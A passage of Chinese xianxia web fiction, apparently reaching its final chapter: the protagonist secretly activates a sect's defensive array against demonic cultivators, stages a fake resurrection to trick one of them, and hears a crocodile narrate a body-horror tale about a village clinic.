雪松也不知道他究竟要自己小心什么,喊了他两声,却发现周围的雾也散了,一时半会儿估计是找不到他,说不定以后也找不到了。
也罢,既然如此,该休息了。
雪松躺在床上,第二天早上,发现鳄鱼醒了,便开始听鳄鱼讲没说完的故事:“后来,医馆里面最里面的那个病人自始至终没有离开,而所有其他的后来被送过去的病人都发生了不同程度的变化。
他们一夜之间多了一个和自己几乎一模一样的孩子,而他们的孩子除了长得像他们本人,还长得像最里面的那个病人。
简直就像是那个病人为他们生的,但是,一个人是不可能一夜之间生出那么多孩子的,更何况那些孩子,但凡有相似之处,必定和病人相似,这绝对有古怪。
但他们本人察觉不到,只有走亲戚的时候才会在路上被人指出来,他们也只是哈哈大笑,说,也许是村子里吃的东西都差不多,习惯也差不多,连天气也差不多,长得像是应该的。
有一个人觉得实在是很奇怪,尤其是他有一个朋友,路过那个村子之后,就没有消息了,不知道是不是也进了医馆,在村子里定居,他就想去看一看。
到了那个村子之后,他觉得村子里的每一个人,都长得十分相似,而且十分古怪,简直就好像全都是一个模子刻出来的。
他感到了恐惧,而且他走在路上总觉得村子里的人在偷偷看他。当他转过头去看的时候,村民们都很正常。
他无法忍受这种毛骨悚然的感觉,打定主意,当天晚上去医馆看一看,如果找不到朋友,立刻就走。但他没有到医馆,就见到了他的朋友。
他的朋友确实在村子里定居了,见到他,很是惊喜,而且把他拉到自己家里,摆了宴席招待,他看见了一个小女孩,他的朋友说,那是在村子里住下来之后生的孩子。
可是他的朋友明明最多只失踪了一个月,哪来三岁大的孩子?难道从前就有一个妻子不成?那至少得是四年前的事了!
可是四年之前,他们的距离还不如现在这样远,他明明记得,他这个朋友,根本没有妻子!而且,根本不喜欢女子!哪来的孩子?
他小心翼翼提出问题,朋友大笑着说,当然是自己生的,他感觉自己的眼皮快要跳烂了,又问究竟是怎么回事,外面就不行,这里就行,这里有什么不一样?
朋友神秘兮兮告诉他,还能有什么不一样呢?医馆里面有一位神仙娘娘!谁去求,都会给孩子的!不管是要男孩还是女孩,要一个孩子还是两个孩子,甚至十个!哪怕是去喂猪牛羊猫狗祈祷,娘娘也会保佑的!
他听完这些话,感觉自己耳朵都要炸了,在心里疯狂吐槽,这个朋友脑子一定是坏掉了,要么是被人骗毁了,根本没有办法像正常人一样生活了!
也许那个小孩根本是别人不要了,捡起来丢给他的,骗他说是他的,他还真信了!也许骗术更简单!
只是捡了一个不知道谁的孩子丢给他,让他养着,转头告诉他,是神仙娘娘给他的孩子,就是他的,他也就乐颠颠的收起来,当真了!
太离谱了,太脑子有病了,太神经了!他无可奈何,尝试着告诉他的朋友,那孩子根本不可能是他。
他朋友拍着胸脯说是自己亲自生下来的,甚至还给他展示了一下胳膊上的刀口,表示那孩子是从那里面出来的。
太恐怖了,他当天晚上就要收拾东西走人,但又怕朋友阻拦,所以偷偷摸摸的,提着行李翻墙,不小心摔着了腿,拖着伤腿走的时候被发现了,发现他的人不由分说,把他塞到了医馆里,让他好好治疗,挥着手走了。
他想趁人走了之后离开,却发现这里根本走不通,因为门被锁住了,腿又坏掉了,爬不上去,走不掉,连狗洞都找不到。
他无可奈何,去请求郎中,却发现找不到,只能躺在病床上,安慰自己,好歹还有张床睡,就在他闭着眼睛的时候,他忽然觉得,哪里不对。
他猛地睁开了眼睛。”
鳄鱼不知抽着了哪儿,突然倒吸一口凉气,又晕过去了,雪松叹了一口气,还以为今天就能把故事听完,看来是不行了,只好把鳄鱼又收了回去。
系统给他发了一个简单的任务,任务要求是现在到酒馆里去,喝一杯酒,点一份牛肉,一份青菜和一份花生。
听起来是很快乐的事,他当然接下了这个任务,并且找到了酒馆里面去付了钱,点了单,之后要做的就是在桌上等着了。
最先上来的是酒杯和酒,小二给他倒了,他端着酒杯嗅了嗅,酒杯里面的是桂花酒,他想到之前喝过,就问小二:“能不能换成玫瑰酒?”
小二愣了一下笑道:“您确定要那个?往常只有爱美的女子才喝那个,说是美容养颜的,不过要我说,真美容养颜,喝什么酒呢?”
雪松只是想尝尝玫瑰酒什么味儿,倒也不在意这些,挥挥手说:“我就要这个,我今天就想尝尝这个。”
小二点了点头:“好说,我这就给您换了。”
小二把桂花酒撤下去,又端上来一瓶玫瑰酒,雪松尝了尝,这东西与其说是酒,不如说是玫瑰味儿的气泡水,有点冲嗓子,还有点冲脑门,颜色和玫瑰一样,尝起来有一股很浓郁的玫瑰香气,而且甜甜的,是一种后知后觉的回甘。
他不知不觉便多喝了两杯,之后小二才把他的肉和菜送上来,他就一边喝酒,一边吃肉吃菜,好不快活!
却不知道,路过这家酒馆,想要进来喝杯酒的长青见着了他,正想向他打个招呼,又看他在喝酒,想着自己不好打扰,便另外找了一个位置,也要了一壶酒,向小二打听其他的情况来:“那位客人是什么时候来的?”
小二看了一眼回答:“刚来不久呢!一来就想喝酒!给桂花酒还不满意,要换成玫瑰的!不过看起来确实挺喜欢这个!拿到就喝了好多呢!说不定等会儿我还得上去续呢!”
长青点了点头,向小二道了谢,便忍不住联系了酒仙:“我请客,你要不要来?”
酒仙一听有酒,当然立刻就来了,坐在他对面就注意到了同在酒馆的雪松,雪松背对着他们,一边吃肉一边喝酒,偶尔尝一口菜,吃得不亦乐乎,根本没关注他们,也没关心谁来谁进谁出的事。
酒仙一边喝酒,一边低声向长青问:“他的酒是从哪儿来的?我闻着气味,不像是从前那个!”
“这次是玫瑰味的!我刚问了!”长青小声问:“你知道这有什么特殊含义吗?”
酒仙皱着眉头想了想:“特殊含义我倒不知道,毕竟是他们两个之间的事,也许有什么约定吧?”
话音未落,二人对视一眼,都想到了相同的东西——
约定?莫不是仙尊还在的时候,曾经与雪松约定过,如果雪松思念自己,就喝玫瑰酒,就当他在身边一样?
不对不对,玫瑰有美容养颜的作用,正所谓女为悦己者容,雪松虽然不是很对得上这句话的形容,但谁又知道他是不是,想着为悦己者容,所以才喝玫瑰酒?
那他一定是思念仙尊了!不然平白无故喝什么玫瑰酒呢?更何况,如果他来这里只是为了喝酒,一开始拿到的桂花酒,难道就不能喝了吗?他为什么偏偏不要呢?
难道不是因为他从前喝过桂花酒,是在极度思念仙尊的情况下,所以现在喝到桂花酒,甚至哪怕只是看到,都会觉得心痛,才拒绝的吗?
那他喝玫瑰酒,根本是思念仙尊的同时,希望仙尊能够回来,重新见他一面,否则,又何必选养颜的玫瑰酒?天底下有的是酒!他跳这一个,为了什么,还不明显吗?
“那里还有花生,牛肉和青菜,你说,这又是什么意思?”长青一边喝酒一边问。
酒仙瞥了那边一眼,若有所思:“银汉迢迢暗度……牛肉,牵牛织女,被分开之后,牛郎不就是剥了黄牛的皮才上的天吗?莫不是,雪松已经找到了,重新见到仙尊的办法,就像是剥了黄牛皮可以上天的牛郎,正在吃肉庆祝?这倒也有可能!”
反正长青和酒仙平日里都没见过雪松吃牛肉,他们不知道雪松究竟喜不喜欢这个,但他们知道,一个人突然吃自己平时不吃的东西,那就是发生了变化,而一个人突然发生变化,多半是有什么事情即将发生!
只是他们暂时还不知道究竟要发生什么事罢了。
长青转了转酒杯,跟着酒仙的话思考起来。
如果雪松吃牛肉,真是即将见到仙尊的征兆,那花生和青菜又作何解释?青菜青菜,青青子衿,悠悠我心?!这是表白!?
长青倒吸一口凉气,如果真是这样,那花生的意思可就明显了,最多一个花季之后,仙尊就会重生!这可是大事!
本来以为雪松不至于糊涂到要复活仙尊的,没想到,他最终还是走上了这条路啊?!太可惜了!
长青想要靠近雪松,去问究竟是不是那么一回事,但是被酒仙按下来了,他看向酒仙,酒仙向他问:“你现在去问,他就会告诉你真话吗?他自己一个人来,恐怕没有邀请你?既然如此,你又怎么肯定,他一定会说什么,你想听的东西?”
长青忍不住辩解道:“什么叫一定会说我想听的东西?我想听什么?只是想知道他究竟在想什么而已!假如他真的想要……”
长青左右看了看,压低声音:“那可是大事!我怎么能无动于衷呢?何况你看着也不平静!你又怎么能说我?”
他皱起眉头,十分不解,满脸疑惑问:“你在想什么?”
“不如我们试探试探他?不要直接问!那样太直白了!他肯定不会说真话!”酒仙叹着气说。
“那你准备怎么试探?”长青好奇问。
“先问两句,”酒仙喝了一口酒,脸上热了起来,一下子站起身说,“也许能知道点什么!”
长青愣了一下,就看见他摇摇晃晃走了过去,一时搞不清楚他是真醉了还是装的,也不知道该拦不该拦,干脆跟着他过去了。
“我问你个事儿!”酒仙走到雪松那桌子坐下,对他说:“你平日里都不到这儿来的吧?今日怎么忽然到这儿来了?”
长青在旁边抹了一把脸,还以为他有什么好主意,没想到这样直白,这和直接问有什么区别?
真搞不明白他在想什么!但他问都问了,也不好现在拆他的台,只得沉默,感觉自己的脸有一点微妙的抽筋。
雪松把他们两个看了看,回答道:“就是随便过来,想尝尝这里东西,什么味儿。”其实是因为系统的任务,不过这个肯定不能说的,但出门吃点东西也不算什么,就说是自己想来,又能怎么样?
酒仙点了点头,明白了,是专门过来的,想试试仙尊不在时吃这些东西什么滋味,又问:“最近有什么打算?”
雪松虽然有些疑惑他要问这个,但也还是说了:“去回春堂拿了丹药,该提升提修为就提升修为,没什么别的要做。”
暗中复活仙尊这种事,本来也没打算张扬,当然不能说了!
“我没什么要问的了!”酒仙点了点头,起身离开,又回到了刚才的桌上。
长青对雪松摆摆手,有些不好意思:“他可能有点喝多了,你别介意。”
雪松耸了耸肩:“没关系。”
长青跟了回去,坐在桌边问:“本来不起眼的,你现在跑过去问这是什么意思?!”
“你以为我们坐在这他就不知道了?只怕你把我喊过来的时候,他就知道我们两个都在这儿了!”酒仙摇了摇头。
“那你问出什么了?”长青呲了一声,觉得他只会空口说白话,还叫什么酒仙,不如叫酒蒙子,倒更适合他。
“你没听见他刚才说吗?”酒仙摇了摇头,喝了一口酒:“算了,这里人多口杂,不适合,回头我告诉你!”
“回头是什么时候?”长青皱着眉头,觉得他根本是想逃过这一劫。
他低声道:“你要是着急,今天就到你洞府里去说得了吧?!”
长青将信将疑:“既然如此,好。”
二人喝完酒,回到了长青的洞府。
酒仙一坐下来就醉醺醺开始说:“他提回春堂,一定是知道对我们提起这个,我们就会放松警惕,是为了骗我们来的!他说提升修为才是重点!他还说没有什么别的要做,其实就是什么都要做的意思!”
“什么都要做是什么意思?”长青一脸迷茫问。
“什么都要做的意思,就是不管是修为还是复活仙尊,还是暗地里寻找材料,搜集办法,他都要做,而且早都准备好了!就像他的丹药一样!不然他提这个干什么?”酒仙摇了摇头,一副这你就不知道了的不表情说。
“奇了怪了!”长青背着手走来走去:“如果像你说的那样,那他为什么要告诉你?难道他不知道你猜得出来?”
酒仙呵呵笑道:“这就是你不够了解他了,他是什么人?他是仙尊的道侣呀!仙尊又是什么人?向来不爱说谎的!
想必他们是一脉相承!只要你敢问,他们就敢认,只是不会直说罢了,你猜得到是你自己聪明,你猜不到,是告诉了你你也不明白,不怪他不说,这还不清楚吗?”
“这倒是有可能,”长青将信将疑,点了点头,“但是他怎么可能有办法?所有人都没有办法的!他从哪里来的办法?”
酒仙略略一想,就转着眼珠看着他说:“难道你忘了?当初是有那么一本可以复活人的办法的!还是仙尊亲手销毁的呢!谁知道是不是仙尊当初就预料到了今日这种情况,才特意销毁的,可惜还是没有阻止住!”
长青听闻此言,便不由得感慨道:“如此说来,倒真是情深意重。”
酒仙嗤笑道:“不是我要笑他们!情深意重顶什么用?还不是生死相隔!还不如一壶酒来得痛快!不然他怎么也去喝酒呢?你信这样那样的情谊,怎么忘了,天下还有劳燕分飞的事?”
他拍着手:“对了对了,你别忘了!民间若有凶杀案,首先怀疑的就是夫妻呢!天天相处,怎么会没有矛盾?有些人忍不下去就动手了!说不定啊——”
他也不知是不是真喝醉了,一时没控制住,把话说了:“仙尊之所以死掉,就是因为雪松在背后动了手脚呢!”
长青大为震惊,并感到离谱,皱起眉头,疑惑喃喃问:“他为什么这么做?这对他有什么好处?仙尊要是活着,他们名正言顺,光明正大,难道不好?你这根本说不通!”
“哦,这你就不知道了,”酒仙说完话,先是心中一惊,意识到自己说过头了,想要补救,发现对面的长青只是震惊,没想到别处,松了一口气,谨慎了许多,回答道,“仙尊死了,仙尊的东西不就变成他的了?他一出现,就风头无二,要是仙尊活着的时候,这种事情可能吗?
大家猜测他是仙尊的道侣,但他如果不是呢?那他靠着弥天大谎,赚了如此多的东西,难道,还不够有好处?”
长青倒吸一口凉气,一时说不出话来,一边觉得对面说的对,有这种可能,一边又觉得,根本是胡说八道,要是有那种可能,早被拆穿了,周围的人又不是瞎子!
就算名字是仿的,脸是照着做的,衣服是跟着穿的,仙尊一样一样送出来的东西总不会是假的吧?有人证有物证,货真价实,难道每个人都认不出来?不可能!绝对不可能!
所以,一定是真的。
长青坐在桌旁沉默了半天,酒仙忽然起身道:“时间不早了,我要走了,有事明天再谈,再见。”他一边说不用送,一边不见了。
长青倒也不是想要送,站起身来看他走了,又坐了回去,仍然思考没想完的事,只是刚才被打断那么一下,一下子没想起来要做什么,就回到了刚才的状态。
至于雪松,完成了系统的任务之后,得到了一份奖励,那是一封信,拆开一看,不是写给他的信,而是写给魔修的信,信上说,不日将要准备攻打宗门,让宗门内的同胞做好准备。
当然,这封信应该是魔修写给魔修的,所以信上的同胞指的并不是宗门弟子,而是隐藏在宗门内的魔修。
雪松倒吸一口凉气,而就在他刚看完那封信的时候,那封信从他的手里消失了,他立刻意识到,他没有办法把那东西当做证据交给别人,以此让宗门内的人提高警惕,防备魔修的偷袭和攻击,那很可能会导致损失惨重,毕竟是有心算无心。
哪怕宗门内外平时的防护都不错,也不见得到时候魔修一定不做什么,来让看管的人出现意外,导致防护薄弱,进而被攻入。
手里没有物证,身边没有人证,雪松在屋子里走来走去,虽然得到了奖励,但感觉更像是得到了一辆上了发条的玩具车,发条突突突响,一旦停下来,他的玩具就像报废了一样,以至于他有了一种紧迫感。
他开始思考要怎么办才好,如果直接把这个消息告诉别人,别人未必信他,他也不好解释信息来源,总不能直接提起系统吧?别人想提,他也不会提的!他没有那么自断后路的道理!那就不能告诉别人了。
这件事要自己解决才行,不然,不管是提前知道魔修有攻打宗门的意图,勾结魔族,还是,知情不报,报复宗门,都不是好名声,传出去他一定会倒大霉的。
更何况,木房子里的雪顶确实是魔修,他经不起查的。
忽然,雪松想到,有一个平时不会开启的宗门大阵可以用!《 》
第103章【完结】
第103章
如果他暗中去打开那个宗门大阵, 那么,不知情的人不会知道有这么一回事,知情的人, 就算去排查, 大约也不会直接关掉,可以拖延一些时间。
至于外面的想要进来的魔修, 大概率就会被大阵拦在门外, 到时候宗门内部检查,说不定就能把埋伏在宗门里的魔修查出来, 那他们的里应外合就做不到了!
危险系数直线下降!安全很多!既然如此,现在就去好了。雪松想清楚了之后, 立刻开始了行动。
他也不需要准备什么, 准备太多, 万一掉地上被人发现了, 那和直接暴露身份也大差不差,所以他给自己施了个隐身术, 就直接去了。
路线他还记得, 而且越走越清晰,逐渐也回忆起来怎么去怎么回,速度也稍微慢了一些,这样声音不会太大,也免得被人发现。
巡逻的人是一直都有的,驻守的人也有, 但是巡逻的人不会每时每刻都在入口处,驻守的人也不会知道自己守的是什么,这样比较方便保守秘密,但同时也方便了雪松进出。
他既然施了隐身术, 肯定不是正儿八经直接走进去,所以只要趁周围的人都不注意就好了,这比和人交谈容易多了。
他的修为比周围的人只高不低,所以这一步也很容易,他直接溜了进去,来到了开关处,简直如入无人之境一般!
现在只剩下最后一步了,那就是把开关打开,不过,这毕竟是个大阵法,打开了怎么维持运转,又是另外一回事。
为了避免刚刚打开,阵法就因为能量不足而直接停止运转,雪松从口袋里掏了掏,掏出自己当仙尊的时候,储存的法力珠,当做灵石,安在了阵法的必要处,之后才进行开关。
只听咔的一声,阵法被打开了,一阵白光闪过,刚刚放进去的法力珠正在被飞速消耗,但阵法显然是从闪烁的阶段逐渐稳定,被维持住了!这就是打开了!一时半会儿也不会自己关掉了!可以离开了!
之后只要不被发现就行了!雪松转身从入口处溜了出去,周围的人还在疑惑,究竟怎么回事,雪松已经远去了。
正巧长青想要找雪松,却没有找到,又得到消息说,阵法莫名其妙被打开了,立刻想到之前的事,不由得猛然一惊。
阵法该不会是雪松打开的吧?为了复活仙尊?可是,阵法和仙尊能有什么关联?等等!
仙尊虽然不负责布置那个阵法,但是从前仙尊确实知道有那么一个阵法存在,而且,曾经负责过给那个阵法输送灵力以维持运转!
一件事情如果仙尊知道,雪松大概率也是知道的,那仙尊知道阵法就等于雪松知道,难道有魔修即将攻击宗门,所以,仙尊嘱咐雪松,到时候记得打开阵法?可是雪松又怎么知道会有魔修攻击宗门呢?
如果是因为雪松即将复活仙尊,而魔修知道了这个消息,并且故意让雪松知道,让雪松在仙尊和其他人之间选一个,表示如果想要复活仙尊,就得假装不知道他们的事,如果非要把他们的事情告诉别人,那复活仙尊的事情,他们一定会搅局,那雪松会去动阵法,就有理由了!
雪松现在究竟在哪?他在干什么?除了打开阵法之外,他居然还有事情要做,而且不在他的洞府?长青走来走去,大为疑惑。
雪松本来要回洞府的,但是远远看见长青在路上走来走去,就觉得,他一定是想找个地方把自己堵住,然后仔仔细细问想问的问题,但是雪松现在不想回答他任何问题。
所以雪松绕路走开了,走到了小巷子里的木头房子,敲了敲门,雪顶早就在里面严阵以待,微笑着说:“我等你很久了,我还以为你不会来呢!我差点就忍不住要去找你了!幸好你来了!你是来做之前答应我的那件事吧?我很高兴你信守承诺!我真想为你准备点什么东西,但是又不知道你究竟需要什么……”
雪松抬起手来:“请你稍微控制一下自己!”
“哦,不好意思,我太激动了,”雪顶微笑着坐在了凳子上,看着他问,“那你现在准备好了吗?我还需要等多久?我已经迫不及待了!你知不知道这是一个——”
雪顶说着说着就站了起来:“这是一个多么伟大的壮举!从来没有人做到过这种事!如果你真的做得到,我要说,你们真的很般配!天造地设的一对!
想想吧!一个是鼎鼎有名的仙尊,一个是古往今来独树一帜的复活者!简直是对复活法术的挑战!”
他把脸都说红了,雪松一脸平静望着他,他感觉被泼了一盆冷水,终于意识到自己好像过于激动了,吞了一颗清醒丸,稍微冷静下来,微笑道:“你需要点什么吗?可以直接告诉我!”
雪松叹了一口气,无可奈何说:“这里有房间吗?我要一个单独的,我本来不打算在你这干的,但是有人在我那,所以不方便,我想了想还是到你这来了,反正要看的是你。”
雪顶歪了一下头,觉得他这话有点古怪,但一时没想出来,究竟哪里不对,也就没纠正什么,只是说:“房间在那边,请吧!”
雪顶指了指旁边的那扇门,雪松走了过去拉开门,雪顶忽然喊他问:“大概需要多久?我一直在外面等你,还是隔一段时间敲一次门呢?开门会影响你吧?”
雪松一脸麻木说:“是的,开门会影响我,所以,我会在成功的时候把门打开给你看,大概需要一小会儿,就是这样。”
他本来想说,大概维持不了多久,但看对方一脸兴奋的样子,恐怕这话说出来就要被问东问西,还不如不说,等他亲眼看见,他自然知道,也不必仔细解释什么,因为他多半能自己想到解释。
雪松对他微笑了一下,雪顶打了个哆嗦,觉得那个微笑有一点诡异,以至于一时没说出话来,门就在面前关了。
雪顶往前走了两步,几乎想要冲进去,但是克制住了,开始在外面转圈,紧张程度堪比下一秒即将看见自己最终考试的结果单。
没过一会儿,房间的门在他面前被打开了,他一个箭步冲过去,一脸激动,望着那扇缓缓开启的门,如同看见一只孔雀正在开屏,顺便屏住了呼吸。
门后面站着两个人,一个是雪松,另外一个是复活的仙尊,而实际上,当然不是真的,毕竟雪松还站在这里,旁边的那个看起来像是复活的仙尊的人是,系统假扮的。
雪顶绕着他们走来走去,如同一只绕着花瓣飞来飞去的蜜蜂,瞪大了眼睛,仔细观察仙尊,就像是在观察一朵刚开的花,大为震惊,感慨道:“简直和从前一模一样!不管是外貌还是神情,不知道性格是不是也一样?有从前的记忆吗?这很诡异哦!”
雪顶忍不住对雪松说:“你真是一个了不起的复活天才!你真应该加入我们!作为一个魔修,你一定能做更多的事!你才是天生应该做魔修的人!加入我们吧?复活的仙尊的出路,我们会为你找的!”
旁边的仙尊忽然一倒,整个人一点一点消散了,就像是魂飞魄散的时候一样,身体表面还出现了一条又一条的伤痕,鲜血淋漓。
看起来可怕极了。雪顶注意到的时候,整个人都愣了一下,随后倒吸一口凉气,扑过去试图帮忙,但是没什么用。
因为他的手伸过去的时候,仙尊已经完全虚化,变成一个影子,他的手直接穿了过去,一点也没碰到,仙尊就在他眼前消失了。
雪顶不能接受这样的情况,大怒道:“这是怎么回事?你在骗我?这根本不是复活!没有哪一种复活维持的效果这么短,而且有这么严重的后遗症!
你根本不配染指复活,更不配说自己已经能够复活魂飞魄散的人!你怎么能这样折磨我?你让我看见了希望!你太可恶了!”
雪顶咬牙切齿,握着拳头瞪着雪松说:“我收回之前说的所有话,只保留一句,你真是个天生就适合做魔修的人!”
雪松仿佛事不关己一般,在旁边看着他发狂,对他微笑:“我不在乎你说了什么,但我答应你的事情已经做到了——”
雪松感慨道:“我说了要把仙尊复活,我已经复活过了,我说了要给你看,你也看见了,你说的话我都不在意,反正事已至此,你又能怎么样呢?”
雪松注视着雪顶,雪顶气得浑身发抖,大声喊道:“出来!弄死他!把他碎尸万段!我要叫他后悔一辈子!”
话音未落,地面忽然震动起来,紧接着地板往外破开,一条巨大的只有嘴的虫子从地底下钻了出来,张着血盆大口,露出密密麻麻的尖锐的獠牙,没有眼睛,没有耳朵,没有鼻子,身体是一节一节的,柔软极了,像是许多个圆环套着血肉连接起来的。
这条虫子发出了一声巨大的咆哮,扑了过来,试图把雪松吞噬掉,雪松一眼看出这条虫子是火土属性的,便立刻招来水,将这条虫子淹没了。
这条虫子吼叫起来,但声音都被水吞没了,在水里挣扎扭动着,很快就像一块巨大的泡腾片一样变成泡沫,蠕动着消失了,在水里只剩下一层又一层密密麻麻的泡泡,以及一些尖锐的獠牙,还有一股浓郁的腥臭味,和一些零碎的土渣子。
雪顶愤怒的头脑忽然冷静下来,意识到这样的情况对自己不利,转身要逃,雪松还没动手,就看见他在半路上掉了下来,是被人袭击了。
雪松顺着袭击的方向看了过去,看见了站在地面上,注视着这里情况的长青,长青打晕了雪顶,并且把人捆了起来,堵住嘴,丢给了身后的宗门弟子,让人带到牢里去,审问情况再做定夺。
他路过地面的水洼,走到了雪松面前,皱着眉头问:“究竟是怎么回事?你一定知道吧?”
雪松似笑非笑问他:“你来找我,难道不知道?”
长青心中一惊:“我应该知道什么?”他知道我的猜测了?他真要复活仙尊不成?他一定要干这事吗?
还是已经干过了,所以才引得那魔修大发狂怒?从来没有人干成过那种事!他真的做到了?那仙尊在哪儿呢?难道是又死了?他真舍得?说不通啊!
“那你来这干什么?”雪松向他问。
“我听这边的动静不对,所以想过来帮忙,没想到看见那个人想跑,我想他横竖不是什么好东西,不然应该没什么可着急的,就把他打下来了,有什么不对吗?”长青试图装傻。
雪松不想和他浪费时间,点了点头:“那好,刚才多谢你的帮忙,我还有事,先走了。”
雪松说着便从他身边经过,长青忍不住喊着问:“你真不知道发生了什么?”
雪松对他笑了笑,完全不想思考,他究竟为什么要这么问,非常直白回答:“不知道你在说什么。”
长青眨了眨眼睛,一时迷茫,一时惊讶,不知该怎么说才好,雪松也没有等他的意思,转身就走了。
离开了小木屋的雪松进入了葡萄园,这一次没有人拦在外面,他直接走了进去,还是上次那个位置,不过这一次轻松多了,因为路上少了许多障碍,没有水,没有鱼,没有章鱼和贝壳,也没有海藻。
只是四面八方都湿漉漉的,走在房间里,有一种走在岩壁底下的感觉,时不时就有水从头顶上滴落下来。
要是一不小心有水珠顺着头发丝滴到头皮里,那可要狠狠打一个激灵了,因为那水真的很冷。
“我还以为你不来了呢!”白大褂看见雪松有点惊讶,随后又十分兴奋说:“你过来的时候看见外面的情况了吧?是好了不少吧?”
雪松点了点头,向他问:“赔偿怎么样?”
“在这儿,”白大褂从旁边拖出一个箱子递给他,“这里面是赔你的钱,你可以收到戒指里面去,也可以存在我们这,下次来再用。”
“不用存,我拿走,”雪松摆了摆手,打开箱子检验了一下,便把里面的钱都放进了储物戒指,“是半价吗?”
“是的,”白大褂点了点头,又搓了搓手说,“关于龙骨指针,你需要修复吗?我现在可以给你修一下,大概能清理掉那些东西的影响。”
“好啊,”雪松把东西递给他,“在我离开之前能清理掉吧?”
“可以的,可以的!”白大褂点了点头,把东西接过去,一边清理一边说:“马上就好!不需要很久!我保证!”
说完没一会儿,他就把东西还了回来:“已经好了,你看这个眼珠,比从前清澈干净多了!影响已经去除了!之后要用,应该不影响什么了。”
他说着,对雪松微笑了一下,雪松检查一番点了点头,把东西放回了储物戒指,打量着他又问:“这里用不了多久就能完全清理干净吧?”
“是的,今天已经比之前好很多了,用不了多久,应该就能完全恢复了,”白大褂点了点头,“再过一阵子就会和之前一样的。”
“我该走了。”雪松点了点头。
“不再多坐一会儿?”白大褂愣了一下,还有些依依不舍似的,问他。
“不用了,我赶时间。”雪松摆了摆手。
“哦,那再见,以后有东西要买再过来呀!”白大褂挥了挥手,把他送到门口。
“我知道了!”雪松笑了笑,走了出去。
离开葡萄园之后,站在葡萄园的门口,雪松低头咳嗽了两声,发现自己眼前的一切都在摇晃,就好像眼珠突然变成两颗没用的葡萄,在往外流葡萄汁。
他抹了一把脸,脸上还真有葡萄汁,一股浓郁的甜酸味和葡萄味,混合在一起,好像他根本没有血一样,连他的手也变成葡萄藤了,看起来古怪极了。
他吃了药,深吸一口气,去了回春堂,回春堂的人兴高采烈对他招手说:“你来得正好!你的丹药炼出来了,真算你运气好!
本来要很久的,但是排在前面的人,有的不要了,有的另外去找办法了,有的发现材料没齐,总之,空了一间出来,就排到你了,炼丹药的人也是运气好,一下子就练出来了,这里还多了两颗呢,都是用你的材料练出来的,你一起拿走吧!”
雪松点了头道了谢,接了丹药揣进兜里,转身去找回春,回春正在忙,见到他立刻停下脚步,掏出一瓶药问:“你是不是情况变严重了?是要葡萄园病菌的抑制药吗?我这里还有一瓶控制的药,你拿去吃了吧?也许还能扛一阵子呢!”
“不,暂时不用,我只是想问一下,”雪松摆了摆手,拒绝了那瓶药,“你们有没有研究出来那个葡萄园病菌要怎么样才能根治啊?”
回春犹豫着把手收了回去,迟疑着说:“也不是没有研究出来,但是,暂时还没有人能达到那个标准……”
“既然如此,那就是有办法?你先告诉我?”雪松追问道。
“至少要元婴修为,才有可能不受这个病菌的影响!化神期的修为,就完全不用在乎这个病菌了!几乎可以根除!飞升期的话,这就一点也不用担心了,因为修为强大到这个病菌没有效果。”回春闭了闭眼睛,一边回忆,一边觉得有点好笑,对他说。
雪松将信将疑,点了点头,对他说:“那好,我没什么要问了,既然你还有事,我就不打扰你了,我先回去了。”
说完,雪松也不等他挽留,就走了,他有点疑惑,喃喃自语:“奇怪,上次来都是要要的,这次来怎么不要了?风风火火的,好像有什么急事,可是最近不是没什么事吗?能着急什么呢?”
回春摇了摇头,仍然去办自己的事了。
雪松在离开的路上见到了同门,同门正要去找他,见了他,便兴高采烈说:“还记得上次的事吗?”
“已经查出来了?”雪松向他问。
“对呀!”他点了点头,掏出一个瓶子,瓶子里面是蓝幽幽的液体:“本来剩的不多,我想再去找点,好巧不巧!我去的时候,正好遇上有一堆怪物从那里经过,我立刻偷偷跟上了他们!你猜怎么着?”
雪松微笑了一下:“怎么着?”
“他们有个老巢就在墓园附近,让我给逮着了!我带上人就给他们抄了!他们说了,那些液体是他们经过时留下的,不是故意留下的,不过也确实是一种标记,因为他们看到盒子好,觉得里面应该有好东西,想要趁机拿走,结果没想到被发现了。”同门把瓶子递给雪松:“现在这东西应该也用不上了,送你做个纪念吧。”
“谢谢,”雪松看了看,把那东西揣起来,又问他,“那液体究竟是什么?”
“是他们身体表面分布的一种带有微量毒素的,粘稠□□,至于他们的种族,”同门低声道,“他们是食尸鬼,所以才住在墓园附近,想着趁机捞点尸体吃,其实之前已经吃过了,幸好是才搬到那里没多久,不然还不知多少尸体被吃掉!他们连棺材和骨灰也吃呢!有时候连旁边的土也吃!”
“他们没把土壤上面的墓碑也吃了,算我们运气好吧。”雪松笑了笑。
“话是这么说的,感觉还是怪怪的,有种吃亏的感觉,”同门耸了耸肩,又忍不住笑道,“这下事情可完了!也算了了一桩心事吧!你以后去可以放心了!没什么危险!”
雪松点了点头:“没什么事我就先走了?”
“那再见!”同门挥了挥手。
雪松回到了洞府,把系统空间格子里面正在盒子里跳来跳去的鳄鱼放了出来。
鳄鱼接着讲那个没讲完的故事:“医馆里面爬满了歪七扭八的奇形怪状的孩子,连郎中也站在他的床边看着他,好像他有什么疑难杂症一样,一脸严肃认真,他感到害怕,坐起身来往后退了退,后背贴着墙,以为自己安全了。
但身后的墙里突然长出两条胳膊来抱住了他,他发狂一样大叫起来,想要挣扎,可是没有力气。
因为郎中告诉他,这里面一直点着安神香,能让进来的病人都安安静静的,觉得放松舒服。
他在这待了有一阵了,早就闻过香了,不会有多少力气的,他松懈下去,感到绝望,突然发现自己的胳膊肿了起来。
他瞪大眼睛看着那条肿起来的胳膊,眼睁睁看见胳膊的皮肉裂开,汁水四溅,血腥横流。
一个小孩从里面爬了出来,脏兮兮的,臭烘烘的,看不出容貌,塌鼻子,秃脑门,头顶几根稀疏的毛,可怕得简直不像个人,和畜生崽子没有两样。
他发自内心破口大骂起来,我操你妈的傻逼,你他妈的究竟在干什么?这他妈的是什么?究竟为什么要这样对我?我他妈要出去,我要他回家,我操!
于是他的嘴也被堵起来了,因为这些话没有任何作用,还会让周围的小孩都感到烦躁,郎中也皱起眉头教育他,这里不许说这些。
他当然知道,大多数时候是不应该说脏话的,但现在根本不是那种时候,更何况,正当他以为这里不许说脏话的原因是有病人或者要保持安静之类的原因,就听见郎中对他说,娘娘会生气的。
他感到毛骨悚然,头皮都要炸开,牙齿一颗一颗脱落,不知不觉满头白发,脸上长满了皱纹,胳膊也弯曲起来,连呼吸都十分费力。
身后从墙上长出来的时候,不知什么时候消失了,他摔倒在床上,十分艰难爬起来,旁边从他胳膊里爬出来的怪物把他扶住。
